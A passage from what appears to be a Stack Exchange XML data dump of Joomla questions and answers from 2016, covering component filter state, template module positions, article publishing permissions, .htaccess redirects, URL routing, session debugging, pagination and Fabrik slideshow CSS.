* @return void&#xA; */&#xA;protected function populateState($ordering = null, $direction = null) &#xA;{&#xA;    // Initialise variables.&#xA;    $app        =   JFactory::getApplication('administrator');&#xA;&#xA;    // Load the filter state.&#xA;    $search     =   $app-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . '.filter.search', 'filter_search');&#xA;    $this-&amp;gt;setState('filter.search', $search);&#xA;&#xA;    $published  =   $app-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . '.filter.state', 'filter_published', '', 'string');&#xA;    $this-&amp;gt;setState('filter.state', $published);&#xA;&#xA;    $categoryId = $this-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . '.filter.catid', 'filter_category_id', '');&#xA;    $this-&amp;gt;setState('filter.catid', $categoryId);                        &#xA;&#xA;    // Load the parameters.&#xA;    $params     =   JComponentHelper::getParams('com_bestia');&#xA;    $this-&amp;gt;setState('params', $params);&#xA;&#xA;    // List state information.&#xA;    parent::populateState('a.id', 'asc');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another interesting fact: In the getListQuery I'm getting the catid by using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Filter by category.&#xA;    $categoryId     =       $this-&amp;gt;getState('filter.catid');    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this has a value if I filter by category - but is has no value if I click on one of the publishing-buttons you can see on the screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tZf28.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tZf28.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4028" LastEditorUserId="4028" LastEditDate="2016-05-01T19:33:07.467" LastActivityDate="2017-11-25T08:51:07.467" Title="Filter does not work after clicking grid.published-button" Tags="|jform|custom-component|content-filtering|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16320" PostTypeId="1" AcceptedAnswerId="16321" CreationDate="2016-04-25T21:58:22.697" Score="1" ViewCount="2826" Body="&lt;p&gt;I am building a website for a project i have to do and i am stuck on that problem. Good guy Joomlart hides every answer behind a paywall, so i am pretty alone. ( i didn't realize the non existent community help only after starting with purity iii)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i just want to add a position over the navbar and make it responsive so i can add a header image in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the Purity III - Corporate Template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i do it? I am a bloody rookie :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qGlpX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qGlpX.png&quot; alt=&quot;what i mean&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8308" LastActivityDate="2017-02-22T12:47:18.640" Title="How do i get a responsive Header Image above the nav bar in Purity III - Corporate?" Tags="|joomla-3.x|php|templates|t3-framework|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16321" PostTypeId="2" ParentId="16320" CreationDate="2016-04-26T00:31:48.583" Score="2" Body="&lt;p&gt;First add your new position in /templates/purity_iii/&lt;strong&gt;templateDetails.xml&lt;/strong&gt;, inside the positions block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;positions&amp;gt;&#xA;    &amp;lt;position&amp;gt;new-position&amp;lt;/position&amp;gt;&#xA;&amp;lt;/position&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now add your position &lt;strong&gt;in one&lt;/strong&gt; of this two options: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/templates/purity_iii/&lt;strong&gt;tpls/corporate.php&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;/templates/purity_iii/&lt;strong&gt;tpls/blocks/header.php&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For the second option add this code &lt;strong&gt;above the main navigation&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section class=&quot;new-position-css&quot;&amp;gt;&#xA;    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;&amp;lt;?php $this-&amp;gt;_p('new-position') ?&amp;gt;&quot; style=&quot;none&quot; /&amp;gt;&#xA;&amp;lt;/section&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From here add your custom module, for example a Custom HTML module with your image.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note:&lt;/em&gt; By default the navigation &lt;strong&gt;is fixed at the top&lt;/strong&gt;, change this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- MAIN NAVIGATION --&amp;gt;&#xA;&amp;lt;header id=&quot;t3-mainnav&quot; class=&quot;wrap navbar navbar-default navbar-fixed-top t3-mainnav&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- MAIN NAVIGATION --&amp;gt;&#xA;&amp;lt;header id=&quot;t3-mainnav&quot; class=&quot;wrap navbar navbar-default t3-mainnav&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As a final step, you can use &lt;em&gt;Firebug&lt;/em&gt; for inspect the source code of your page in the browser, for example, add this rules in your main or &lt;a href=&quot;http://www.t3-framework.org/documentation/bs3-customization#custom-css&quot; rel=&quot;nofollow noreferrer&quot;&gt;custom.css&lt;/a&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body {&#xA;    padding-top: 0;&#xA;}&#xA;.new-position-css p {&#xA;    margin-bottom: 0;&#xA;}&#xA;.new-position-css img {&#xA;    width: 100%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sGzFq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sGzFq.png&quot; alt=&quot;Custom Position - Purity III&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To complement, find more info here: &lt;a href=&quot;https://www.joomlart.com/documentation/joomla-templates/purity-iii&quot; rel=&quot;nofollow noreferrer&quot;&gt;Purity III Docs.&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://www.joomlart.com/documentation/joomla-framework/t3-framework-for-joomla-2-5-and-joomla-3&quot; rel=&quot;nofollow noreferrer&quot;&gt;T3 Docs.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-04-26T00:31:48.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16323" PostTypeId="1" CreationDate="2016-04-26T04:11:16.207" Score="3" ViewCount="140" Body="&lt;p&gt;I would like to catch some exceptions to inspect the error code and determine if I should re-throw it with a more user friendly message. This would probably be most beneficial with MySQL errors. Is there a file of defined constants I could leverage for use in my component? Or, does everyone just hard-code the numeric value and/or create their own constants?&lt;/p&gt;&#xA;" OwnerUserId="7739" LastEditorUserId="8261" LastEditDate="2016-05-30T20:31:43.277" LastActivityDate="2019-08-17T04:00:08.760" Title="Is there a file that defines error messages?" Tags="|joomla-3.x|php|component|mysql|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16324" PostTypeId="1" AcceptedAnswerId="16327" CreationDate="2016-04-26T04:33:32.267" Score="3" ViewCount="1908" Body="&lt;p&gt;I have a site were certain users can create, edit and publish articles on the front end. These users are using the default &quot;Author&quot;, &quot;Editor&quot;, &quot;Publisher&quot; user groups and permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They can do all tasks fine except when first creating an article it is always unpublished. In the form the status field is html disabled so you can't edit it, however it is set to &quot;Published&quot;. Regardless of what this field says when you save the first time the article is always unpublished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then edit it and publish it without problems, however we want to be able to create and publish the first time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found this isn't a problem for Managers/super users despite having the same article permissions set. Have tried increasing permissions for articles and log in/out numerous times but the only way I have found to fix this is give a user the Manager role.&lt;/p&gt;&#xA;" OwnerUserId="8310" LastEditorUserId="126" LastEditDate="2016-04-26T08:03:53.507" LastActivityDate="2017-04-01T18:31:07.173" Title="Creating articles in front end. Status field is disabled and articles remain unpublished" Tags="|joomla-3.x|articles|front-end|user-groups|permissions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16325" PostTypeId="2" ParentId="16245" CreationDate="2016-04-26T04:51:25.183" Score="0" Body="&lt;p&gt;Thanks for all the quick responses. I fixed it with this in my .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{QUERY_STRING} ^option=com_content&amp;amp;view=article&amp;amp;id=46&amp;amp;Itemid=78$ [NC]&#xA;RewriteRule ^(index\.php)?$ /home/history? [L,R=301,NC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone may help these.&lt;/p&gt;&#xA;" OwnerUserId="8282" LastEditorUserId="126" LastEditDate="2016-04-26T05:58:25.737" LastActivityDate="2016-04-26T05:58:25.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16326" PostTypeId="2" ParentId="10911" CreationDate="2016-04-26T06:01:32.703" Score="1" Body="&lt;p&gt;That sounds like a great idea for a plugin.  You could have a single site mapped to multiple domain names and let the plugin assign the template based on the domain used to visit the site.  Configuration could be as easy as adding a single entry - domain=template.  As many domains as you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would be super easy to write too...two or three hours tops after testing&lt;/p&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2016-04-26T06:01:32.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16327" PostTypeId="2" ParentId="16324" CreationDate="2016-04-26T06:31:13.280" Score="2" Body="&lt;h1&gt;Joomla ACL&lt;/h1&gt;&#xA;&#xA;&lt;h3&gt;1. Edit State Privilege&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In order for a user to be able to set/switch the publishing status of a content item (published/unpublished etc), they need to have the &lt;strong&gt;Edit State&lt;/strong&gt; permission assigned on them. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;2. Core Usergroups&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;From the core front-end usergroups, only the &lt;strong&gt;Publisher&lt;/strong&gt; has this kind of permission. So only users of that usergroup can set / edit this setting for an article. All the other usergroups will be able to create an article and this will default to unpublished, until another user with higher privileges take care of it.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Create Article Form&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now, what you are describing with the front-end article form, isn't the default behavior. The &lt;strong&gt;Status field&lt;/strong&gt; should be hidden for when a user don't have the privilege to edit it and visible and normally working in the other case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, first please confirm you are using the &lt;strong&gt;latest Joomla version&lt;/strong&gt;.&lt;br&gt;&#xA;Then I would look into the &lt;strong&gt;template overrides&lt;/strong&gt; for the &lt;strong&gt;&lt;code&gt;com_content&lt;/code&gt;&lt;/strong&gt;, as it is possible that your template has its own article form, that overrides the default one.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h3&gt;Update&lt;/h3&gt;&#xA;  &#xA;  &lt;p&gt;Well, here is a quick tip for you to make a test test You can assign on your Create Article menu item, the core Protostar&#xA;  template and see how it works for the article submission. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Extend Frontend Articles Management&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Moreover, if you would like more front-end control for articles management, there are some extensions that allow this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/article-factory-manager&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Article Factory Manager&lt;/strong&gt;&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/user-article-manager&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;User Article Manager&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Build your own&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you feel you want to take it to the next level, then you can integrate a custom front-end application with &lt;a href=&quot;http://fabrikar.com&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Fabrik&lt;/strong&gt;&lt;/a&gt; or another similar tool, building your own lists and forms for managing your articles.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-04-26T08:10:16.117" LastActivityDate="2016-04-26T08:10:16.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16328" PostTypeId="1" CreationDate="2016-04-26T06:44:35.487" Score="1" ViewCount="487" Body="&lt;p&gt;This is something that I noticed on one of my websites:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add certain digits after the home page URL, it does not give me a 404, as is expected.  It displays the home page, with the browser page title taken from one of the other menu items.  Here are some examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.example.com/36-this-menu-item-does-not-exist&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/36-this-menu-item-does-not-exist&lt;/a&gt;&#xA;In the above URL, if you change the 36 to a 32 or 37 it does the same&#xA;&lt;a href=&quot;http://www.example.com/12-this-shows-a-404-error&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/12-this-shows-a-404-error&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone seen anything like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering if it has to do with SEF Urls or perhaps something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked my .htaccess to make sure there are no redirects with these numbers in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8311" LastEditorUserId="8311" LastEditDate="2016-04-27T07:14:46.743" LastActivityDate="2016-04-27T07:14:46.743" Title="Any non-existent URL containing certain numbers, displays the home page instead of a 404 error" Tags="|joomla-3.x|url|sef|error-pages|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16329" PostTypeId="2" ParentId="10128" CreationDate="2016-04-26T07:31:50.420" Score="0" Body="&lt;p&gt;TinyMCE editor is free, included in the Joomla core and supports drag and drop since Joomla 3.5.0.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-04-26T07:31:50.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16330" PostTypeId="2" ParentId="10572" CreationDate="2016-04-26T07:45:52.537" Score="0" Body="&lt;p&gt;As Rene points out, multiple markers with the Google Maps plugin by Mike Reumer is only possible using KML files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be easier to find and install a different extension that displays multiple markers such as &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/gmapfp-google-map&quot; rel=&quot;nofollow&quot;&gt;GMapFP&lt;/a&gt; or &lt;a href=&quot;http://extensions.joomla.org/extension/maps2&quot; rel=&quot;nofollow&quot;&gt;Maps2&lt;/a&gt; or similar.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-04-26T07:45:52.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16331" PostTypeId="2" ParentId="10629" CreationDate="2016-04-26T07:51:34.990" Score="0" Body="&lt;p&gt;This seems to be a Google Chrome error rather than a Joomla issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find out more at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bugs.chromium.org/p/chromium/issues/detail?id=84313&quot; rel=&quot;nofollow&quot;&gt;https://bugs.chromium.org/p/chromium/issues/detail?id=84313&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-04-26T07:51:34.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16333" PostTypeId="2" ParentId="10732" CreationDate="2016-04-26T07:59:07.043" Score="0" Body="&lt;p&gt;Try reinstalling the latest versions of third party extensions (e.g. the Gantry Framework if you are using this), clear the Joomla cache and try again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://www.rockettheme.com/forum/free-joomla-stuff/254180-solved-rockettheme-afterburner2-template-s-style&quot; rel=&quot;nofollow&quot;&gt;http://www.rockettheme.com/forum/free-joomla-stuff/254180-solved-rockettheme-afterburner2-template-s-style&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-04-26T07:59:07.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16334" PostTypeId="2" ParentId="16328" CreationDate="2016-04-26T08:15:57.443" Score="0" Body="&lt;p&gt;Yes, I have seen this happening before and it was caused by the &lt;a href=&quot;http://extensions.joomla.org/extension/blank-component&quot; rel=&quot;nofollow&quot;&gt;Blank Component&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I guess you are likely using this component for having a modules only home page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately there was no fix for this, the last time I checked and I quickly revert back to the core way - by having for example a featured articles home page, with no article items at all, or a single article page loading modules.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-04-26T08:33:09.440" LastActivityDate="2016-04-26T08:33:09.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16336" PostTypeId="2" ParentId="16328" CreationDate="2016-04-26T08:49:16.547" Score="1" Body="&lt;p&gt;It's just the way the router works.  The number is the ID of the article.  Joomla needs to know how to convert the URL to a page, and so one way is to look what number is in the URL and see if that matches an article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything beyond the number is for SEO / human readable links, but Joomla doesn't need to know that, so it can be anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your 404 pages presumably do not have articles with a matching ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see how this works, it is under components/com_content/router.php.  It's quite well commented as to the process, the bit which seems to apply in this case being  as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;         * If there is only one segment, then it points to either an article or a category.&#xA;         * We test it first to see if it is a category.  If the id and alias match a category,&#xA;         * then we assume it is a category.  If they don't we assume it is an article&#xA;         */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2016-04-26T09:04:06.300" LastActivityDate="2016-04-26T09:04:06.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16337" PostTypeId="1" CreationDate="2016-04-26T09:48:32.737" Score="1" ViewCount="407" Body="&lt;p&gt;I am trying to get the JSession inside my module php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But every time I wrote this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joomla responds with a 500 error for the page that my module is loaded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I comment out that line, the page is loading again fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="3654" LastActivityDate="2017-07-20T17:04:50.827" Title="JFactory::getSession() in module, produces a 500 error" Tags="|module|joomla-api|joomla-3.5|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16338" PostTypeId="2" ParentId="16337" CreationDate="2016-04-26T10:08:16.760" Score="2" Body="&lt;p&gt;I think I found out my mistake that causes the error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have later in my code a:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print_r($session);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is actually the code that is generating the 500 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print_r($session-&amp;gt;getData());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to print out the session data.&lt;/p&gt;&#xA;" OwnerUserId="3654" LastActivityDate="2016-04-26T10:08:16.760" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16340" PostTypeId="1" CreationDate="2016-04-26T10:21:16.287" Score="2" ViewCount="794" Body="&lt;p&gt;How do I get the Joomla-3.x pagination prev/next link, using the &lt;code&gt;getData()&lt;/code&gt; function, in the content plugin with the &lt;code&gt;onContentPrepare&lt;/code&gt; event? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the work of &lt;code&gt;$limitstart&lt;/code&gt; here: &lt;code&gt;onContentPrepare($context, &amp;amp;$article, &amp;amp;$params, $limitstart)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="8312" LastEditorUserId="8312" LastEditDate="2016-04-26T10:31:29.570" LastActivityDate="2017-06-23T01:04:16.097" Title="How to get the Joomla-3.x pagination prev/next link with the getData() function in the content plugin like onContentPrepare" Tags="|joomla-3.x|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16342" PostTypeId="2" ParentId="13706" CreationDate="2016-04-26T10:31:13.487" Score="3" Body="&lt;p&gt;Create a login module and set the viewing access level to 'guests'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link here &lt;a href=&quot;http://docs.joomla.org/J3.x:Access_Control_List_Tutorial&quot; rel=&quot;nofollow&quot;&gt;docs.joomla.org/J3.x:Access_Control_List_Tutorial&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2016-04-27T10:32:30.520" LastActivityDate="2016-04-27T10:32:30.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16345" PostTypeId="2" ParentId="16323" CreationDate="2016-04-26T16:24:43.470" Score="0" Body="&lt;p&gt;If PHP has a built-in exception handler, then that's used.  Otherwise if a developer has created something to handle exceptions, that's used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're unhappy with an existing exception handler, you can always extend it to make it more robust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/language.exceptions.extending.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/language.exceptions.extending.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2016-04-26T16:24:43.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16346" PostTypeId="2" ParentId="16340" CreationDate="2016-04-26T16:32:56.343" Score="1" Body="&lt;p&gt;I haven't looked close enough to verify, but you might want to have a look at:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$article-&amp;gt;pagination&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;print_r that bad-boy to see what's in it.  I believe that's going to contain the links you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;onContentPrepare $limitstart designated which page of a paginated article to start on.  If you've used pagebreaks, this is used.  Convenient if you want your content plugin to run on only certain pages.&lt;/p&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2016-04-26T16:32:56.343" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16349" PostTypeId="2" ParentId="16316" CreationDate="2016-04-26T19:12:13.310" Score="0" Body="&lt;p&gt;The image element is an image element. You can use it to display a certain image. A single image can't be a slideshow, so it really doesn't make sense when you say you created an image element and chose the slideshow display property. I also don't know of that display property in fabrik.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a slideshow you can use the &lt;strong&gt;File Upload&lt;/strong&gt; element.&lt;br&gt;&#xA;Then in its display settings set:&lt;br&gt;&#xA;  -» &lt;strong&gt;Show media in form&lt;/strong&gt; as Slideshow.&lt;br&gt;&#xA;  -» I would suggest to enable &lt;strong&gt;AJAX uploads&lt;/strong&gt;, so you can upload many images at the same time.&lt;br&gt;&#xA;  -» Generally play with the various settings like &lt;strong&gt;cropping&lt;/strong&gt;, &lt;strong&gt;thumbnails&lt;/strong&gt; etc and see what works best for you.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's still not working then:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-» Check your browser's console for any possible Javascripts errors, which can be responsible for a non-functioning slideshow.&lt;br&gt;&#xA;  -» It might be an issue with your template like not using certain js libraries. Ask in Fabrik forum for support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, there is a slideshow visualization plugin available... if in any case it does fit to your needs.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You could create a &lt;strong&gt;textarea&lt;/strong&gt; element, with &lt;strong&gt;WYSIWYG Editor&lt;/strong&gt; and &lt;strong&gt;Extended buttons&lt;/strong&gt; &lt;strong&gt;enabled&lt;/strong&gt; in the &lt;strong&gt;Advanced&lt;/strong&gt; Tab. Then you can use a plugin like &lt;strong&gt;&lt;a href=&quot;http://www.joomlaworks.net/extensions/commercial/simple-image-gallery-pro&quot; rel=&quot;nofollow&quot;&gt;Simple Image Gallery Pro from JoomlaWorks&lt;/a&gt;&lt;/strong&gt;, that will allow you to insert and display images in various ways. This specific plugin adds an XTD Editor button, plus it allows for managing your media folders, images and uploading new photos.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A dirty - quick and simple solution for showing the 1st only of your uploaded images in the list is with css.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.image___upload .fabrikRepeatData li {&#xA;    display:none;&#xA;}&#xA;&#xA;.image___upload .fabrikRepeatData li:first-child {&#xA;    display:block;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here you are hiding all the list items of the file_upload element and specifically set only the first to be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you will have to use the right selectors as they appear in your list and according to the naming of your fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the &lt;strong&gt;&lt;code&gt;.image___upload&lt;/code&gt;&lt;/strong&gt; selector refers to the file_upload element name.&lt;br&gt;&#xA;Note that you will have to find the way to include this css code in your fabrik list. There are various ways to achieve this. You can search in Fabrik documentation on how to add your own custom css for the fabrik layouts.&lt;br&gt;&#xA;An alternative option would be to add your code in your template's custom css file. &lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-04-27T12:17:49.837" LastActivityDate="2016-04-27T12:17:49.837" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="16350" PostTypeId="1" CreationDate="2016-04-26T21:56:58.603" Score="1" ViewCount="19" Body="&lt;p&gt;I am building a video blog page using Joomla 3.0 + k2 hosted on my own Ubuntu 14.04 server, the videos will be uploaded to sites like youtube or vimeo too. I want to show the viewed times of the videos on various sites on my own page. I've thought of a way to do this, but I need some suggestions on some details(I haven't completed my studying of how to make extensions, so basically I will have to use some more brute forces to do this):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, I am going to use &lt;a href=&quot;http://casperjs.org/&quot; rel=&quot;nofollow&quot;&gt;casperJs&lt;/a&gt; to scrape the video pages and get the item view times. So far I have managed to print the right number on Ubuntu's command line. And because one of the video sites is in China, with low speed connection, it usually takes 20 sec or more to scrape the page and get the item viewed number, so I will have to create a cron job to run the casperjs script every few hours instead of running the script when user requests my page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, I have two options: I can either store the data in a .json file, or store them in Joomla's database. I think using .json is much easier, but if I want to use the database, is it doable? If I write some script to directly create/update/read tables of the joomla database, will it do hard to the system? And I haven't figured out how to store the data I get from casperjs to the database, if you have information about it, please share some light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I am going to modify k2's item.php to get the number from the .json or database. Or I can just use javascript/ajax to get the data after the page is loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is going to be a lot of work, so before I dive in, I'd like to ask for some suggestions. Overall, am I in the right track? Is there any steps that deserver refine? &lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2016-04-26T21:56:58.603" Title="Need some suggestion regarding strategy of scraping article view times from another webpage to use in K2 item" Tags="|javascript|database|custom-component|jdatabase|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
